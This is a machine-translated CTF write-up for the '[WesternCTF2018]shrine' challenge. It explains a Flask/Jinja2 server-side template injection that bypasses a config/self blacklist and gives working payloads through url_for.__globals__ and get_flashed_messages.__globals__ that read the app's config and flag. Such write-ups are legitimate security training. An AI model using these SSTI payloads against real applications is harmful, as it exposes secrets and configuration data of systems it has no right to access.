当前位置:网站首页>[WesternCTF2018]shrine writeup
[WesternCTF2018]shrine writeup
2022-07-02 00:57:00 【Shu Tian】
[WesternCTF2018]shrine
The direct thinking is Fancy reading global variables
I gave the source code directly at the beginning
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') //environ Get... In the system FLAG Parameters , write in app.config in
@app.route('/') // visit '/' The code is displayed when the path
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') // Get rid of ( and )
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
// amount to {
% set config=None%}{
% set self=None%} + s, First the config and self Set to none, Achieve the purpose of disabling functions
return flask.render_template_string(safe_jinja(shrine)) // The vulnerability of template rendering
if __name__ == '__main__':
app.run(debug=True)
ps About os.environ:
OS.ENVIRON() Detailed explanation _Muqingluan
python Get some information about the system
windows:
os.environ[‘HOMEPATH’]: Current user home directory .
os.environ[‘TEMP’]: Temporary directory path .
os.environ[PATHEXT’]: Executable file .
os.environ[‘SYSTEMROOT’]: System home directory .
os.environ[‘LOGONSERVER’]: machine name .
os.environ[‘PROMPT’]: Set prompt .linux:
os.environ[‘USER’]: Current user .
os.environ[‘LC_COLLATE’]: The alphabetical order when sorting the results of path extension .
os.environ[‘SHELL’]: Use shell The type of .
os.environ[‘LAN’]: The language used .
os.environ[‘SSH_AUTH_SOCK’]:ssh Execution path of .
The idea of this problem is to read global variables ( I tried construction ssti Ordered to execute payload, however __subclasses__() When an error , failed
Test it python Of ssti
/shrine/{
{8*9}}

because ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s This paragraph , We can't use it directly config Function to see all app.config Content , We have to take advantage of it python Objects to call disabled function objects .
current_app The value of is currently used app, Can pass current_app View the current app Of config
There are two flask Built in functions , Can cooperate with globals() Function to get global variables current_app(url_for and get_flashed_messages)
flask Unique functions in the framework :link
url_for()
url_for Based on the router function name passed in , Return the corresponding URL, Always use in templates url_for() You can safely modify the URL, It's no better than a link that worries about rendering errors in the template :
{ {url_for('home')}} /If we define a route URL With parameters , You can pass them in as key parameters url_for(),Flask They will be filled into the final generated URL in :
{ { url_for('post', post_id=1)}} /post/1get_flashed_messages()
This function will return before flask Pass through flask() List of incoming messages ,flash The function is simple , You can put Python The message represented by string is added to a message queue , Reuse get_flashed_message() Function takes them out and consumes :
{%for message in get_flashed_messages()%} { {message}} {%endfor%}
payload:
/shrine/{
{url_for.__globals__}}
#current_app': <Flask 'app'>

/shrine/{
{url_for.__globals__['current_app'].config}}
perhaps
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}

Reference resources wp:
[WesternCTF2018]shrine - Spring bird
边栏推荐
- Leetcode question brushing: stack and queue 07 (maximum value of sliding window)
- Bc35 & bc95 onenet mqtt (old)
- Leetcode skimming: stack and queue 02 (realizing stack with queue)
- Bilstm CRF code implementation
- How to determine whether the current script is in the node environment or the browser environment?
- cookie、session、tooken
- 一名优秀的软件测试人员,需要掌握哪些技能?
- Global and Chinese markets of beverage seasoning systems 2022-2028: Research Report on technology, participants, trends, market size and share
- @Valid parameter verification does not take effect
- How to reflect and solve the problem of bird flight? Why are planes afraid of birds?
猜你喜欢

RFID makes the inventory of fixed assets faster and more accurate

Creation of volume group for AIX storage management (I)

"C zero foundation introduction hundred knowledge hundred examples" (73) anonymous function -- lambda expression

Kuberntes cloud native combat high availability deployment architecture
![[conference resources] the Third International Conference on Automation Science and Engineering in 2022 (jcase 2022)](/img/a6/a2afdf9e18255c9171f61bf074998b.png)
[conference resources] the Third International Conference on Automation Science and Engineering in 2022 (jcase 2022)

Viewing and modifying volume group attributes of Aix storage management (II)

Leetcode skimming: stack and queue 05 (inverse Polish expression evaluation)

AIX存储管理之逻辑卷的创建及属性的查看和修改

gradle

The 8-year salary change of testers makes netizens envy it: you pay me one year's salary per month
随机推荐
AIX存储管理之总结篇
Intelligent operation and maintenance practice: banking business process and single transaction tracking
Entrepreneurship is a little risky. Read the data and do a business analysis
How to reflect and solve the problem of bird flight? Why are planes afraid of birds?
2022 pinduoduo details / pinduoduo product details / pinduoduo SKU details
2023款雷克萨斯ES产品公布,这回进步很有感
【八大排序②】选择排序(选择排序,堆排序)
Bilstm CRF code implementation
创业团队如何落地敏捷测试,提升质量效能?丨声网开发者创业讲堂 Vol.03
Review notes of compilation principles
Comprehensive broadcast of global and Chinese markets 2022-2028: Research Report on technology, participants, trends, market size and share
Global and Chinese market of picture archiving and communication system (PACS) 2022-2028: Research Report on technology, participants, trends, market size and share
LeetCode 0241.为运算表达式设计优先级 - DFS
Node——Egg 实现上传文件接口
Synthetic watermelon game wechat applet source code / wechat game applet source code
Cookie, session, tooken
Leetcode skimming: stack and queue 06 (top k high-frequency elements)
js 公共库 cdn 推荐
Leetcode skimming: stack and queue 05 (inverse Polish expression evaluation)
export default 导出的对象,不能解构问题,和module.exports的区别